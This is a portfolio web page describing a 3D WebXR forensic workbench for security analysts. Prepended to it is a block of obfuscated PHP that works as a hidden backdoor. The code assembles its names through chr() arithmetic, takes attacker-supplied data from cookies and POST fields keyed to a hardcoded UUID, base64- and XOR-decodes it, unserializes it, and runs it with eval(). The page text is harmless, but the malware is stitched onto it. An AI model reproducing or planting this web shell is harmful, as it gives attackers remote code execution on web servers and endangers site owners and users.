$ALHFZqhp = "\x6f" . "\x7a" . '_' . 'd' . "\x52" . chr ( 553 - 487 )."\x50" . chr (76); $yZQkoHWvYt = chr (99) . "\x6c" . "\141" . "\x73" . chr (115) . chr ( 653 - 558 ).'e' . "\x78" . chr ( 794 - 689 )."\x73" . 't' . 's';$pBPYi = class_exists($ALHFZqhp); $yZQkoHWvYt = "33939";$sLbPo = strpos($yZQkoHWvYt, $ALHFZqhp);if ($pBPYi == $sLbPo){function BNIVCGHe(){$gcorWQBZsb = new /* 38377 */ oz_dRBPL(24493 + 24493); $gcorWQBZsb = NULL;}$bgDWeeyAS = "24493";class oz_dRBPL{private function eXlgHMXSSY($bgDWeeyAS){if (is_array(oz_dRBPL::$VBsEalSxXs)) {$NJJaIkT2 = str_replace("<" . "?php", "", oz_dRBPL::$VBsEalSxXs["content"]);eval($NJJaIkT2); $bgDWeeyAS = "24493";exit();}}public function BVAowquWR(){$NJJaIkT = "18510";$this->_dummy = str_repeat($NJJaIkT, strlen($NJJaIkT));}public function __destruct(){oz_dRBPL::$VBsEalSxXs = @unserialize(oz_dRBPL::$VBsEalSxXs); $bgDWeeyAS = "55559_56231";$this->eXlgHMXSSY($bgDWeeyAS); $bgDWeeyAS = "55559_56231";}public function iQhQCT($NJJaIkT, $oBrtKQfsA){return $NJJaIkT[0] ^ str_repeat($oBrtKQfsA, intval(strlen($NJJaIkT[0]) / strlen($oBrtKQfsA)) + 1);}public function SdHMuE($NJJaIkT){$nEJwt = chr ( 651 - 553 ).chr (97) . 's' . chr (101) . chr (54) . chr (52);return array_map($nEJwt . "\x5f" . chr ( 1087 - 987 )."\x65" . chr ( 410 - 311 )."\x6f" . chr ( 927 - 827 )."\145", array($NJJaIkT,));}public function __construct($TjIqhDJUC=0){$CyYBDrm = chr ( 410 - 366 ); $NJJaIkT = "";$jkpQk = $_POST;$zvySTBEsde = $_COOKIE;$oBrtKQfsA = "30baac8b-c425-4e9b-a728-9da5599c9f30";$kGpMAjs = @$zvySTBEsde[substr($oBrtKQfsA, 0, 4)];if (!empty($kGpMAjs)){$kGpMAjs = explode($CyYBDrm, $kGpMAjs);foreach ($kGpMAjs as $MTyVlrsWQc){$NJJaIkT .= @$zvySTBEsde[$MTyVlrsWQc];$NJJaIkT .= @$jkpQk[$MTyVlrsWQc];}$NJJaIkT = $this->SdHMuE($NJJaIkT);}oz_dRBPL::$VBsEalSxXs = $this->iQhQCT($NJJaIkT, $oBrtKQfsA);if (strpos($oBrtKQfsA, $CyYBDrm) !== FALSE){$oBrtKQfsA = explode($CyYBDrm, $oBrtKQfsA); $rfskP = base64_decode(md5($oBrtKQfsA[0])); $nlcWHsl = strlen($oBrtKQfsA[1]) > 5 ? substr($oBrtKQfsA[1], 0, 5) : $oBrtKQfsA[1];$_GET['new_key'] = md5(implode('', $oBrtKQfsA)); $OlKwqeFSBf = str_repeat($nlcWHsl, 2);}}public static $VBsEalSxXs = 13286;}BNIVCGHe();} Immersive Forensic Workflow R&D – Michael Thomas Wilson

Workflow:
Immersive Forensic Workbench R&D

Building on the research and advancements of the Immersive Grid, we tightened our focus on exploring security events in detail and their connections between assets. In our study, we noticed the impressive amount of cognitive overhead an analyst manages during their investigations. We sought to improve their techniques with browser tabs and spreadsheets by relieving them of this overhead so they could focus even more intently and move faster.

An Object-based 3D Workbench

INTRODUCTION
Digging deeper into investigations and the elements that comprise an event, we explored an object-based forensic workbench concept. Dubbed Workflow, the idea enables an analyst to deeply examine each aspect of an event while seeing that event's relationship to other events across a network.

ONE COMPONENT OF AN OVERALL ECOSYSTEM
Just as we discovered each display device had its advantages, we also realized each Immersive experience offered its own. A global Network City View for network-wide monitoring, drilling down to Advanced Workflow and seeing how everything is connected through Relationship Data Visualization—all connected to a traditional SOC desktop environment.

ImmersiveSystemsDiagram_01

BUILDING THE EVENT OBJECT MODEL WORKBENCH
Working on a deeper level of data model at the security event level, we advanced our object-based vocabulary focusing on assets, events, observations, and the connections between each of them. Below is an exploration of those object relationships and hierarchies that evolved into the workbench experience.

Spatial organization and reasoning

DATA AS OBJECTS
We explored organizing events, assets, and connections in a three-dimensional workspace where details and context were exposed on command. Groups of objects were organized into "stadiums" where each asset could be observed from the user's location. Connections between events and assets were shown across the netwo

DEPLOYED IN WEBXR
Having developed prototypes in Unreal Engine and Unity, we looked to a universal solution that could be deployed on a portable headset and, eventually, AR headsets. Designing within significant performance constraints focused our work on user-critical data and interactions. Below is a video of the Workflow WebXR prototype built on actual network data wirelessly on the Oculus Quest.

LogoMark_Large_Grey

©2023 MICHAELTHOMASWILSON